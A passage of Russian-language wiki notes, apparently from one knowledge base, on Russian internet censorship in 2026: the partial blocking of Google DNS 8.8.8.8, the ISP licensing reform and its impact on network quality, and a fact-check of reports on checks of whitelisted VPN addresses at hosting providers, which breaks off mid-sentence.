планы до 2030 года с целевыми показателями по подавлению VPN и фильтрации всего трафика Рунета — разбор в [[DPI/rkn-vpn-2030-roadmap|Курс на 2030]]. Дальше — интерпретации сообщества (все — **гипотезы**, официальных заявлений на 3 июля 2026 не было): - **Тест «зарезания» сторонних DNS.** Блокировка ровно одного адреса из пары при живом втором выглядит как **аккуратный эксперимент**: оценить масштаб поломок (в первую очередь — сколько всего завязано на 8.8.8.8), не обрушив резолвинг всем сразу. 8.8.8.8 — самый известный и самый прописываемый в конфигах публичный DNS-адрес в мире, идеальная цель для замера эффекта. - **Удар по шифрованному DNS как каналу обхода.** DoH/DoT скрывают от оператора, какие домены запрашивает пользователь, и мешают DNS-фильтрации — мотив давить именно TCP-порты 443/853, оставив «прозрачный» UDP/53, очевиден. Продолжение линии, начатой у мобильных операторов в июне 2026 (Мегафон, см. [[tspu-whitelist-cloudflare-june-2026#DNS-проблемы у мобильных операторов|инцидент 23 июня]]): вынудить пользоваться DNS оператора, через который удобно фильтровать. - **Побочный удар по VPN-инфраструктуре.** Значительная часть сломавшегося — именно VPN/прокси-клиенты с DoH `8.8.8.8` в дефолтных конфигах. Даже если это не главная цель, эффект «у всех отвалился VPN, хотя туннели целы» цензору только на руку: часть пользователей решит, что «VPN больше не работает», и сдастся. В пользу версии «тест/сырое правило» говорит и **дыра с HTTP/3**: правило зарезало только TCP, оставив тот же DoH к тому же адресу доступным по QUIC (UDP/443), — для «настоящей» блокировки шифрованного DNS это очевидный недосмотр. И общий контекст суток подходящий: параллельно шла ещё одна волна с быстрым откатом — блок игровых серверов EA вечером 2 июля (по версии сообщества, снова подсети Amazon; см. раздел выше). Обе волны укладываются в почерк «раскатали правило → посмотрели на эффект → откатили/оставили», знакомый по [[tspu-whitelist-cloudflare-june-2026|инциденту 23 июня 2026]]. > [!note] «В чём вообще смысл, если это обходится в одну строчку?» > Резонный скепсис из обсуждений: блокировка обходится тривиально — сменой на 8.8.4.4, DoH через HTTP/3, DNS внутри туннеля или DoH через CDN, — так что технически «наглухо» перекрыть шифрованный DNS этим не выйдет («борьба с ветряными мельницами»). Но у меры может быть не техническая, а **статистическая и психологическая** цель: (1) **замерить**, сколько всего в стране завязано на самый популярный DNS-адрес мира, — идеальный пробный шар; (2) отсечь **массового неподготовленного пользователя**, который не полезет править конфиг, а решит, что «VPN сломался». Против подготовленных это и не рассчитано — и именно поэтому одноразовая блокировка одного IP выглядит как **итерация теста**, а не как финальное решение. Плюс это болезненно и для самих операторов: 8.8.8.8 настолько вездесущ, что трогать его «по-крупному» рискованно — что тоже говорит в пользу осторожной точечной раскатки. Что говорит против «случайной аварии у Google»: авария не выбирает операторов одной страны, не разделяет UDP и TCP к одному адресу и не обходит стороной 8.8.4.4, стоящий в той же инфраструктуре. Картина «TCP к одному IP зарезан у нескольких независимых операторов, всё остальное живо» — типичная для централизованного правила на ТСПУ. ## 📚 См. также - [[tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026: слетели «белые списки» Cloudflare]] — предыдущая волна изменений на ТСПУ; там же — первые сигналы про блокировку сторонних DoH/DoT у мобильных операторов. - [[subnet-whitelist-blocking-2026|Блок подсетей Cloudflare и Amazon по белому списку]] — механика ковровых блоков по диапазонам хостеров; по версии сообщества, именно она положила серверы EA 2–3 июля 2026. - [[Zapret2/symptom-not-cause|Почему «не работает» — это симптом, а не причина]] — тот же принцип на примере Zapret: прежде чем чинить клиент, проверь, что изменилось на сети. - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — где в конвейере ТСПУ живут блокировки по IP:порт и чем они отличаются от фильтров по содержимому. - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты (июнь 2026)]] — сопутствующий ущерб других правил ТСПУ; общий контекст наращивания фильтрации в 2026. - [[Zapret/zapret_not_working|Что делать, если Запрет не работает]] — общий чек-лист диагностики «всё сломалось», включая DNS-слой. - [[DPI/rkn-vpn-2030-roadmap|Курс на 2030: планы по VPN, трафику и анонимности]] — стратегическая рамка: почему такие эксперименты будут повторяться до 2030 года. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/google-dns-8888-block-july-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-03 tags: - rkn - mincifry - isp - telecom - sorm - tspu - censorship - strategy aliases: - Реформа лицензирования провайдеров 2026 - Треть провайдеров уйдёт с рынка - Зачистка операторов связи 2026 - Реформа телекома 2026 - Почему интернет медленнее и дороже link: https://habr.com/ru/news/1027394/ --- # 🏗️ Реформа лицензирования провайдеров (2026): рынок связи зачищают под контроль — и интернет от этого деградирует > [!info] О чём заметка > Минцифры готовит **реформу лицензирования операторов связи**: около двадцати существующих типов лицензий заменят тремя, с резким ужесточением требований к капиталу, покрытию и обязательному СОРМ. По оценке отраслевой ассоциации «Ростелесеть», новым нормам полностью соответствуют лишь **7,6% из ~4220 российских провайдеров ШПД** (широкополосного доступа), а **до трети операторов** могут уйти с рынка. Параллельно Роскомнадзор уже массово аннулирует лицензии (почти 2000 за апрель 2026). Здесь — параметры реформы, сроки, масштаб последствий и почему это не только про рынок, но и про цензуру: меньше независимых провайдеров → проще тотальная фильтрация. Отдельный раздел — о цене происходящего для качества сети: почему пинг растёт, а интернет «сыпется». Стратегический контекст (KPI по VPN, фильтрация всего трафика к 2030) — в парной заметке [[DPI/rkn-vpn-2030-roadmap|Курс на 2030]]. > [!warning] Статус данных > Реформа на июль 2026 — **готовящийся проект**, известный по пересказам СМИ («Коммерсантъ», Хабр, CNews, Фонтанка, Телеспутник и др.); параметры могут измениться до принятия. Оценки ухода операторов («треть», «93% региональных») — **прогнозы ассоциаций и экспертов**, а не свершившийся факт. Мотивы реформы — предмет спора: официальная версия и версия критиков приведены раздельно. Раздел про деградацию качества сети — **наблюдения сообщества и логика архитектуры**, систематических публичных замеров вклада ТСПУ (Технические Средства Противодействия Угрозам — DPI-оборудование Роскомнадзора у операторов) в задержки не существует. ## TL;DR - **Что меняется:** вместо ~20 типов лицензий — три («Базовая» — кабельное ТВ, «Универсальная» — интернет-провайдеры, «Генеральная» — федеральные операторы) с требованиями к уставному капиталу **5 / 30 / 100 млн руб.**, покрытию, доле выручки от связи (≥50%) и **СОРМ как условию старта работы**. ИП оказывать услуги связи больше не смогут. - **Сроки:** требования вводятся с **1 сентября 2026**; старые лицензии доживают до **конца 2027**, с **2028** работать можно только по новым правилам. - **Масштаб:** из ~**4220** операторов ШПД новым нормам полностью соответствуют **7,6%** (оценка «Ростелесети»); прогноз ухода — **до 33,2%** провайдеров, среди кабельных операторов «не пройдут» ~80%, а по оценке, приводимой IT-World, под угрозой до **93% региональных** игроков. - **Зачистка уже идёт без всякой реформы:** в декабре 2025 РКН аннулировал ~**1000 лицензий** (~4% всех), в апреле 2026 — ещё **1967** за «непредставление отчётности». СМИ назвали это «великой зачисткой» и «регуляторными репрессиями». - **Почему это про цензуру:** выживают только крупные операторы, у которых ТСПУ и СОРМ стоят везде и которых легко проверять; малые провайдеры — с исторически неполным покрытием фильтрацией — вычищаются. Это четвёртая линия курса на 2030 — вместе с [[DPI/rkn-vpn-2030-roadmap|KPI по VPN, тотальной фильтрацией и деанонимизацией]]. - **Цена для пользователя:** рост задержек и «рваный» интернет (каждый пакет проходит всё больше слоёв анализа), рост тарифов (критики прогнозируют +2–3 раза сверх инфляции; оборудование фильтрации — многомиллиардные расходы), исчезновение местных провайдеров в малых городах и посёлках. ## На пальцах: ларьки и гипермаркеты > [!example] Аналогия > Представь город, где работают четыре тысячи продуктовых точек: от ларьков у подъезда до федеральных гипермаркетов. Мэрия объявляет: с осени торговать можно только при уставном капитале от 30 млн, с охраной по стандарту, камерами, подключёнными к пульту полиции (СОРМ), и торговля должна быть основным бизнесом. Ларьки и районные магазинчики закрываются — не потому, что торговали плохо, а потому что не потянули входной билет. Остаются несколько сетей, которых удобно инспектировать: три офиса вместо четырёх тысяч точек. > > Для покупателя это означает: дальше идти, дороже платить, ассортимент одинаковый везде. Для интернета — то же самое: меньше независимых маршрутов и операторов, у оставшихся — одинаковая обязательная начинка фильтрации, тарифы диктует олигополия. ## Параметры реформы Минцифры предлагает заменить существующие типы лицензий (около двадцати; в разных пересказах — 17–20) на три категории: | Лицензия | Для кого | Уставный капитал | Ключевые требования | |---|---|---|---| | **Базовая** | Кабельное ТВ | 5 млн руб. | Минимальные | | **Универсальная** | Интернет-провайдеры (ШПД) | 30 млн руб. | Работа в 1–6 регионах, узлы связи в каждом муниципалитете присутствия, покрытие 15–20% многоквартирных домов | | **Генеральная** | Федеральные операторы | 100 млн руб. | Узлы связи в 2/3 регионов страны | Сквозные требования (по пересказам проекта): - **Доля выручки от услуг связи — не менее 50%**: телеком не может быть побочным бизнесом. - **ИП исключаются** — только юрлица. - **СОРМ (Система Оперативно-Розыскных Мероприятий — оборудование доступа спецслужб к трафику и данным абонентов) — до начала работы**: сейчас на внедрение дают 1,5–2 года, сроки сокращают, без СОРМ коммерческую деятельность начинать будет нельзя. - **Взнос в резерв универсального обслуживания** — от 1 млн руб. в год. - **Покрытие**: для ряда лицензий — не менее 90% территории каждого населённого пункта крупнее 1000 человек. - **Возвращение плановых проверок**: мораторий, действовавший с 2023 года (формально продлённый до 2030), отменяется. **Сроки:** новые требования — с **1 сентября 2026**; действующие лицензии сохраняют силу до **31 декабря 2027**; с **2028** — только новые правила. ## Масштаб: кто не переживёт Оценки отрасли (все — прогнозы, не факт): - В России ~**4220 операторов ШПД**; полностью соответствуют новым требованиям **7,6%** (ассоциация «Ростелесеть»). - **До 33,2% провайдеров** уйдут с рынка из-за требований к капиталу и собственным средствам. - **~80% кабельных операторов** не пройдут проверку под «Базовую» лицензию. - По оценке, приводимой IT-World, под угрозой до **93% региональных операторов**. - Сильнее всего пострадает связь в **малых городах и удалённых посёлках**: там местные провайдеры часто держат большую долю абонентов, чем федеральные операторы, — и именно они не потянут входной билет. ### Зачистка уже идёт Реформа ещё не принята, а расчистка рынка началась административными средствами: - **Декабрь 2025:** РКН аннулировал почти **1000 лицензий** операторов связи (~4% всех действующих). - **Апрель 2026:** прекращено действие **1967 лицензий** — формальное основание: непредставление обязательной отчётности либо «недостоверные или неполные сведения» (ст. 39 закона «О связи»). The Moscow Times описала это как «Роскомнадзор начал тысячами отзывать лицензии»; «Вечерняя Казань» — как «великую зачистку» и волну «регуляторных репрессий». - Параллельно (апрель–май 2026) ужесточены правила и для **хостинг-провайдеров** — по разбору «Теплицы социальных технологий», цель в том, чтобы перекрыть инфраструктурную базу VPN-сервисов и переложить ответственность за фильтрацию с регулятора на участников рынка. ## Зачем это (две версии) **Официальная версия:** уход «недобросовестных» игроков укрепит надёжность рынка, тарифы расти не должны; часть отозванных лицензий — «мёртвые души», которые давно не оказывали услуг. **Версия критиков** (отраслевые ассоциации, эксперты в Forbes, Фонтанке, «Вечерней Казани»): это **олигополизация под предлогом наведения порядка**. Консолидация выгодна и коммерчески (крупным операторам достанутся абоненты ушедших), и административно — контролировать несколько федеральных компаний несравнимо проще, чем четыре тысячи независимых сетей. В логике [[DPI/rkn-vpn-2030-roadmap|курса на 2030]] реформа выглядит четвёртой линией того же проекта: **KPI по подавлению VPN** (линия 1) и **фильтрация 100% трафика** (линия 2) реализуемы только тогда, когда весь трафик страны идёт через операторов, у которых гарантированно стоят ТСПУ и СОРМ, — а малые провайдеры исторически были «щелями» в этом покрытии. Прогноз критиков по ценам: рост тарифов **в 2–3 раза сверх инфляции** (меньше конкуренции + расходы на соответствие требованиям перекладываются на абонентов). > [!note] Мотивы — интерпретация > Прямых официальных заявлений «реформа нужна для полноты фильтрации» нет. Связь с цензурным курсом — вывод наблюдателей из совокупности фактов: обязательность СОРМ до старта, синхронность с давлением на хостинги, аннулирования тысяч лицензий и опубликованные KPI до 2030 года. ## Пинг растёт, интернет деградирует: цена слоёв фильтрации Жалобы 2026 года — «пинг стал выше», «сайты грузятся рывками», «интернет как будто разрушается» — имеют системное объяснение, и оно не в «плохом провайдере». **Слоёв фильтрации становится больше.** Пакет от абонента до зарубежного сервера проходит через ТСПУ не один раз: оборудование стоит на **1207 узлах широкополосного доступа, 135 узлах мобильных сетей и 86 трансграничных переходах** (данные на 2025, по «Коммерсанту»), то есть типичный маршрут пересекает несколько точек анализа. Каждая точка — это очередь и обработка: пакет сверяется с правилами фильтрации, которых уже **свыше 2,5 млн**, а новые методы (поведенческий анализ TLS-сессий, подсчёт частот, отпечатки — см. [[DPI/dpi-analysis-pipeline|воронку проверок DPI]]) требуют на порядки больше вычислений на каждое соединение, чем старая сверка с чёрным списком IP. **Оборудование дорожает быстрее, чем справляется.** Дефицит мощностей фильтрации — признанный факт закупок: в июне 2026 интегратор ТСПУ (АО «ДЦОА») экстренно закупал серверы на **1,31 млрд руб.**, федпроект на АСБИ вырос до **83,7 млрд руб.**, субсидия на «эффективность ограничения VPN» — ещё **40 млрд** (подробнее — в [[DPI/rkn-vpn-2030-roadmap|Курсе на 2030]] и [[DPI/tspu-false-blocks-june-2026#Контекст: почему это произошло в июне 2026|контексте июньских сбоев]]). Когда анализирующее железо не успевает за трафиком, оно не «пропускает без проверки» — оно **дропает и тормозит**: отсюда рост задержек, потери пакетов, ретрансмиты и «рваная» загрузка. Именно так выглядели июньские сбои 2026 — легитимные сайты грузились **в 2–3 раза медленнее** при формально работающем канале ([[DPI/tspu-false-blocks-june-2026|разбор]]). РКН при этом в марте 2026 публично **опровергал** перегрузку ТСПУ. **А чинить качество будет некому.** Реформа лицензирования добивает последний рыночный противовес: пока есть четыре тысячи провайдеров, абонент с плохим пингом уходит к соседнему оператору — и это заставляет всех держать качество. В олигополии из нескольких федеральных сетей с одинаковой обязательной начинкой фильтрации уходить некуда: деградация становится общесистемной константой, а не конкурентным недостатком. > [!warning] Оговорка > Величину вклада ТСПУ в задержки никто независимо не замерял системно — публичных методик и данных нет, а на конкретном маршруте задержку могут давать и обычные причины (перегруз магистрали, пиринг, Wi-Fi). Но направление тренда задано архитектурой: **каждый новый слой анализа — это ненулевая задержка на каждый пакет**, и число этих слоёв по опубликованным планам будет расти до 2030 года. ## Что делать пользователю - [ ] **Узнай, чей ты абонент и что с его лицензией.** Если твой провайдер — малый региональный оператор, к 2027–2028 он может исчезнуть или быть поглощён; заранее присмотри запасной вариант. - [ ] **Держи резервный канал** другого оператора (мобильный интернет другой сети, вторая SIM): чем меньше на рынке останется независимых операторов, тем ценнее иметь запасной путь в сеть на случай сбоя или ухода основного провайдера. - [ ] **Не жди, что «само починится» надолго.** Рост задержек и «рваная» загрузка — не временная авария, а следствие архитектуры: слоёв анализа по опубликованным планам будет больше, а не меньше. Средства обхода [[DPI/tspu-false-blocks-june-2026|поведенческих фильтров]] и запас по DNS/протоколам (см. [[DPI/google-dns-8888-block-july-2026|блок 8.8.8.8]]) снижают зависимость от качества «дефолтного» маршрута. - [ ] **Смотри на реформу как на контекст, а не панику.** Проект ещё не принят, параметры могут смягчить; но направление — консолидация и рост контроля — устойчивое, и планировать личную инфраструктуру связи стоит с его учётом. ## Источники | Источник | Дата | Что отсюда взято | |---|---|---| | [Хабр — Минцифры готовит реформу лицензий, рынок может потерять до трети операторов ШПД](https://habr.com/ru/news/1027394/) | 24 апреля 2026 | Три типа лицензий, требования к капиталу (5/30/100 млн), покрытию и выручке, 4220 операторов и 7,6% соответствия, прогноз ухода трети. | | [CNews — треть интернет-провайдеров под угрозой из-за нового лицензирования](https://www.cnews.ru/news/top/2026-04-24_tret_internet-provajderov) | 24 апреля 2026 | Детали требований, 33,2% ухода, ~80% кабельных операторов, взнос в резерв, исключение ИП. | | [CNews — «большая телеком-зачистка»: проверки и сокращение сроков СОРМ](https://www.cnews.ru/news/top/2026-04-03_ozhidaetsya_bolshaya_telekom-zachistka) | 3 апреля 2026 | СОРМ как условие старта, отмена моратория на проверки (действовал с 2023, продлён до 2030), покрытие ≥90% пунктов >1000 человек, лицензии до 31.12.2027. | | [The Moscow Times — РКН начал тысячами отзывать лицензии](https://ru.themoscowtimes.com/2026/04/22/roskomnadzor-nachal-tisyachami-otzivat-litsenzii-u-internet-provaiderov-a193385) | 22 апреля 2026 | 1967 аннулированных лицензий (апрель 2026), ст. 39 закона «О связи», ~1000 лицензий в декабре 2025. | | [IT-World — новые правила могут вытеснить 93% региональных операторов](https://www.it-world.ru/cionews/byzlrhdmku0wgs84kgoc0wo80cgwk8c.html) | май 2026 | Оценка до 93% региональных игроков под угрозой. | | [Фонтанка — «Не обязательно убивать весь бизнес»: чем грозит реформа](https://www.fontanka.ru/2026/06/26/76500535/) | 26 июня 2026 | Позиции сторон, риски для регионов, сокращение числа типов лицензий. | | [Forbes — «Увертюра к консолидации»: как реформа изменит цены](https://www.forbes.ru/) | 6 апреля 2026 | Версия про олигополизацию и рост тарифов. | | [te-st.org (Теплица) — как провайдеров заставляют следить за VPN](https://te-st.org/2026/05/12/hostingrules/) | 12 мая 2026 | Ужесточение для хостинг-провайдеров, перекладывание фильтрации на участников рынка. | ## 📚 См. также - [[DPI/rkn-vpn-2030-roadmap|Курс на 2030: планы по VPN, трафику и анонимности]] — стратегическая рамка; реформа лицензирования — её четвёртая линия (консолидация рынка под тотальную фильтрацию). - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты (июнь 2026)]] — как перегрузка и рост слоёв фильтрации проявляются в реальной деградации сети. - [[DPI/google-dns-8888-block-july-2026|Инцидент 3 июля 2026: блокировка 8.8.8.8]] — свежий пример эксперимента над инфраструктурным слоем. - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — почему каждый новый слой анализа добавляет задержку на каждый пакет. - [[nuc/mincifry-nuc-certs-danger-june-2026|Сертификаты НУЦ Минцифры: угроза MITM]] — смежная линия контроля над инфраструктурой связи. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/isp-licensing-reform-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-03 fact_checked: 2026-08-03 tags: - mincifry - rkn - vpn - hosting - whitelist - censorship - factcheck aliases: - Облава на замаскированные VPN - Белый список ЦМУ ССОП и хостеры - Полчаса на блокировку хостинга - Минцифры и IP-адреса легитимных VPN - Что правда в новости о контроле за VPN 3 августа 2026 link: https://pro.rbc.ru/demo/6a6f4c159a794723c09b298d --- # 🧾 «Замаскированные» VPN и белый список: что на самом деле обсуждает Минцифры с хостерами (3 августа 2026) ![[mincifry-whitelist-vpn-hosting-header.webp]] > [!info] О чём статья > 3 августа 2026 года РБК сообщил, что Минцифры обсуждает с российскими хостинг-провайдерами постоянную проверку IP-адресов, которые внесены в перечень исключений из блокировок, — так называемый «белый список». Новость мгновенно разошлась по Telegram-каналам, и в пересказах к ней приросли детали, которых в исходной публикации нет. Здесь разобрано по пунктам: что в сообщении подтверждается источниками, что переврано при пересказе, а что дописано на ходу. Отдельно — механика самого белого списка, потому что без неё не понять, чем «исключение адреса из перечня» отличается от блокировки. > [!warning] Ограничения фактчека > Первоисточник — материал РБК от 3 августа 2026 года (18:37), доступный по подписке РБК Pro; в открытом доступе есть только анонс из двух предложений. Детали ниже взяты из подробных пересечений пересказов, прежде всего [SecurityLab](https://www.securitylab.ru/news/575627.php) и [Market Power](https://finance.mail.ru/article/mintsifryi-usilit-kontrol-za-legitimnyimi-vpn-dlya-borbyi-s-obhodom-blokirovok-69220843/), которые ссылаются на РБК. Сам РБК опирается на четырёх участников рынка, а не на документ ведомства: официального проекта акта, приказа или законопроекта на 3 августа 2026 года не опубликовано. Минцифры к моменту выхода публикации на запрос РБК не ответило. Поэтому получасовые блокировки, недельный мониторинг и санкции против хостеров — **обсуждаемые предложения**, а не действующие правила. ## TL;DR - **Правда:** Минцифры действительно обсуждает с хостерами механизм постоянной проверки адресов из белого списка. Хостера обяжут реагировать на запрос в течение суток, а скорость отключения клиента предлагают привязать к тому, насколько глубоко тот идентифицирован: полчаса при подтверждении по телефону или карте, предупреждение — при регистрации через «Госуслуги», биометрию или договор с юрлицом. - **Неточность в пересказах:** белый список ведёт не Минцифры, а ЦМУ ССОП — центр при Роскомнадзоре. Это тот перечень, куда компании сами подают заявки на исключение своих корпоративных IP из фильтрации иностранных протоколов шифрования. - **Подмена понятий:** «белый список» в новости упомянут дважды в разных значениях — перечень корпоративных IP у ЦМУ ССОП и перечень социально значимых сайтов Минцифры при ограничениях мобильного интернета. Это [[Белые списки|разные списки]], и в пересказах они склеены в один. - **Смещение смысла:** адрес не «блокируют» — его исключают из перечня исключений. Он теряет иммунитет и дальше фильтруется на общих основаниях вместе со всем, что на нём размещено: сайтами, почтой, панелями управления соседних клиентов. - **Дописано на ходу:** формулировки «чтобы люди не остались совсем без связи» и опасения «дефицита IP-адресов» в доступных публикациях по этой новости не встречаются. Отток клиентов к зарубежным площадкам — реальная претензия рынка, но звучит она в связи с обязательной строгой идентификацией, спор о которой идёт с июля 2026 года. - **Для частного пользователя прямых последствий нет:** зарубежный VPS в белый список ЦМУ ССОП не попадает в принципе, поэтому личный [[VLESS/dpi-tls-june-2026|VLESS или WireGuard за границей]] эта схема не затрагивает. Затрагивает она тех, кто держит обходной сервис на российском адресе — в том числе случайно, рядом с рабочим. ## Что такое белый список ЦМУ ССОП и почему он вообще существует Российские системы фильтрации распознают иностранные протоколы шифрования — прежде всего OpenVPN, WireGuard и IPsec/IKEv2 — и ограничивают их. Проблема в том, что на тех же протоколах работает обычная корпоративная связь: удалённый доступ сотрудников, канал между филиалами, подключение к внутренним системам. Чтобы бизнес не встал вместе с сервисами обхода, Роскомнадзор в апреле 2025 года публично рекомендовал компаниям либо отказаться от зарубежных протоколов, либо подать заявление в ЦМУ ССОП — Центр мониторинга и управления сетью связи общего пользования, созданный при подведомственном Роскомнадзору ГРЧЦ. Заявки принимаются по электронной почте `white_list@cmu.gov.ru`: компания указывает свои IP-адреса и обоснование, регулятор проверяет и вносит адреса в перечень исключений. Проще говоря: белый список — это не разрешение пользоваться VPN, а пометка «на этом адресе шифрованный туннель ожидаем, не режьте его». Фильтр видит на таком IP тот же WireGuard, что и везде, но по метке не применяет к нему ограничение. Масштаб перечня публично известен только по заявлениям регулятора. К апрелю 2025 года в нём было около 75 тыс. записей — вшестеро больше, чем в 2023-м (12 тыс.). В апреле 2026 года Роскомнадзор отдельно заявил, что не планирует ограничивать корпоративное взаимодействие внутри страны, а доступ к зарубежным ресурсам по заявлениям открыт более чем для 57 тыс. адресов и подсетей, принадлежащих 1730 компаниям. Методика подсчёта и критерии одобрения заявок не публиковались, поэтому цифры стоит читать как отчётность ведомства, а не как проверяемую статистику. Здесь и возникает конфликт, из которого выросла августовская новость. Метка ставится на **адрес**, а не на конкретное приложение. Один IP может обслуживать сразу несколько задач: корпоративный шлюз, сайт компании, внутренний сервис — и, рядом с ними, публичный VPN, который перенаправляет пользовательский трафик к заблокированным ресурсам. По описанию источников РБК, именно так белый список превратился в укрытие: адрес получил иммунитет по легальному основанию, а дальше этим иммунитетом пользуется всё, что на нём поднято. ## Что именно предлагается Ниже — реконструкция схемы по пересказам публикации РБК. Ни один из этапов пока не закреплён нормативным актом. | Этап | Что предлагается | Кто действует | |---|---|---| | Наблюдение | Систематическое отслеживание активности на адресах из разрешённого перечня; поводом для реакции служат признаки VPN-инфраструктуры, которые фиксируются в течение недели | Обязанность возлагается на хостера, запрос инициируют системы контроля | | Запрос | Провайдер получает требование проверить сервер и ответить в течение суток | Хостинг-провайдер | | Ответ | Подтвердить, что защищённое соединение используется для корпоративной связи, администрирования или иных законных задач | Хостинг-провайдер | | Отсутствие обоснования | Сообщить о возможности исключить IP-адрес из разрешённого перечня | Хостинг-провайдер | | Реакция на клиента | Скорость отключения зависит от уровня идентификации арендатора сервера | Хостинг-провайдер | | Санкция против хостера | Признание недобросовестным и ограничение принадлежащих компании IP-подсетей целиком | Регуляторы | Градация по уровню доверия — самая обсуждаемая часть предложения. Если клиент подтвердил личность только номером телефона или платежом с банковской карты, услуги предлагают блокировать в течение получаса после обнаружения запрещённой инфраструктуры. Если он прошёл проверку через ЕСИА (Единую систему идентификации и аутентификации, стоящую за «Госуслугами»), Единую биометрическую систему или заключил договор от имени юридического лица — сначала последует предложение удалить нарушение. Российские хостеры и сейчас идентифицируют клиентов несколькими способами: «Госуслуги», биометрия, усиленная квалифицированная электронная подпись, паспорт, платёж с российского счёта, собственная система проверки провайдера. Новизна обсуждаемой схемы в другом: **глубина проверки впервые напрямую связывается со скоростью санкции**. Чем меньше о клиенте известно государству, тем короче у него срок на объяснения. > [!important] Исключение из списка — это не блокировка адреса > После исключения IP не попадает в реестр запрещённых и не «выключается». Он просто перестаёт пользоваться автоматической защитой от фильтрации — и дальше обрабатывается на общих основаниях. Практическое следствие: пострадать может не только VPN, но и всё, что живёт на том же адресе, — сайты, почтовые серверы, панели управления, корпоративные приложения посторонних клиентов. Механика сопутствующего ущерба та же, что при [[DPI/subnet-whitelist-blocking-2026|ковровых блокировках облачных подсетей]], только на уровне одного IP. ## Разбор пересказов: что правда, что искажено, что дописано Пост, с которого новость расходилась по каналам, укладывается в десяток утверждений. Ниже каждое сверено с публикациями. | Утверждение из пересказа | Статус | Что известно на самом деле | |---|---|---| | Минцифры обсуждает с хостерами контроль за IP-адресами легитимных VPN | Подтверждается | Публикация РБК от 3 августа 2026 года со ссылкой на четырёх участников рынка | | Ранее такие адреса вносили в специальный список, чтобы избежать блокировок | Подтверждается с уточнением | Перечень ведёт ЦМУ ССОП при Роскомнадзоре, а не Минцифры; заявки подают сами компании | | В список попадали «замаскированные» VPN | Формулировка смещена | Речь не о проникновении в перечень обманом, а о том, что на легально внесённом адресе работает и сторонний сервис обхода | | Провайдерам предложат самостоятельно выявлять такие адреса и передавать данные регулятору | Частично | Мониторинг возлагают на хостера, но запрос приходит извне; от провайдера ждут проверки сервера и ответа в течение суток, а не потока отчётности | | Подозрительные адреса будут блокировать или требовать обоснования | Неточно | Санкция — исключение из перечня исключений, то есть потеря иммунитета, а не блокировка как таковая | | При проверке по телефону или карте услуги заблокируют за 30 минут | Подтверждается как предложение | Срок обсуждается и не утверждён | | При идентификации через «Госуслуги», ЕБС или договор дадут время на исправление | Подтверждается как предложение | Клиенту сначала предложат удалить запрещённую инфраструктуру | | Провайдеров с минимальной идентификацией и частыми нарушениями признают недобросовестными, а подсети ограничат | Подтверждается как предложение | Критерии «регулярных нарушений» и порядок ограничения подсетей не определены | | Клиентам таких провайдеров оставят доступ только к белому списку Минцифры — госпорталам, банкам, маркетплейсам | Смешение двух разных списков | Упоминание белого списка Минцифры в пересказах есть, но расшифровка состава и мотив «чтобы люди не остались без связи» — добавление пересказчика | | Рынок опасается дефицита IP-адресов | Не подтверждается | В доступных публикациях по этой новости такой претензии нет | | Рынок опасается оттока клиентов к зарубежным провайдерам | Подтверждается, но относится к смежному спору | Оценка «до 35%» приводится в связи с обязательной строгой идентификацией — темой совещаний 10 и 17 июля 2026 года | Разберём три самых показательных расхождения подробнее. **Кто ведёт список.** Формулировка «специальный список Минцифры» встречается почти в каждом пересказе, и это ошибка не косметическая. Перечень исключений ведёт ЦМУ ССОП — структура, замкнутая на Роскомнадзор. Минцифры выступает инициатором обсуждения новых правил, но не оператором списка. Тот, кто пойдёт подавать заявку «в Минцифры», просто не найдёт адресата: заявления принимает ЦМУ ССОП по почте `white_list@cmu.gov.ru`. **Какой именно белый список.** В российской теме блокировок этим словом называют минимум три разные вещи, и здесь в одном абзаце столкнулись две из них: перечень корпоративных IP у ЦМУ ССОП и перечень социально значимых сайтов Минцифры, который остаётся доступен при отключениях мобильного интернета. Первый защищает шифрованный трафик компании от фильтрации, второй определяет, что откроется у абонента во время шатдауна. Полная разводка понятий — в заметке [[Белые списки]]; третье значение, фильтрация облачных диапазонов по разрешённому перечню, разобрано в [[DPI/subnet-whitelist-blocking-2026|блоке подсетей Cloudflare и Amazon]]. **Что вообще означает фраза про доступ.** Исходная формулировка — «клиентам такой сети оставят доступ только к ресурсам из белого списка Минцифры» — допускает два прочтения: либо ограниченным окажется исходящий доступ клиентов недобросовестного хостера, либо из внешней сети останутся доступны только те размещённые в его подсетях ресурсы, что входят в перечень социально значимых. Второе логичнее для инфраструктуры хостинга, но проверить это по открытым публикациям нельзя: полный текст РБК закрыт подпиской, а Минцифры на запрос не ответило. Пересказы, добавившие «госпорталам, банкам и маркетплейсам», выдают за деталь новости то, чего в ней не было. ## Почему схема шаткая технически Главная сложность в том, что корпоративный VPN и обходной VPN — это один и тот же класс программ. Оба используют те же протоколы, порты и криптографию; отличается только назначение трафика, которое из сети не видно. Даже Минцифры признавало это косвенно: в рекомендациях по выявлению VPN, которые ведомство раздало крупным площадкам весной 2026 года, оговаривалось, что проверки способны ошибочно затронуть корпоративные сети, пользователей за рубежом и обычные прокси-серверы. Отличать одно от другого приходится по косвенным признакам — репутации адреса, поведению соединений, [[DPI/dpi-analysis-pipeline|многоступенчатому анализу трафика]]. Все они дают ошибки в обе стороны. Репутационные базы не успевают за новыми серверами, а современные средства обхода целенаправленно маскируют характер соединения — [[DPI/vpn-blocking-wave-forecast-summer-2026|распознавание туннелей по таймингам и формам пакетов]] работает статистически, а не безошибочно. Отсюда вытекает вторая проблема — цена ошибки размазывается по посторонним. Адреса передаются в аренду и переиспользуются, у одного IP бывает 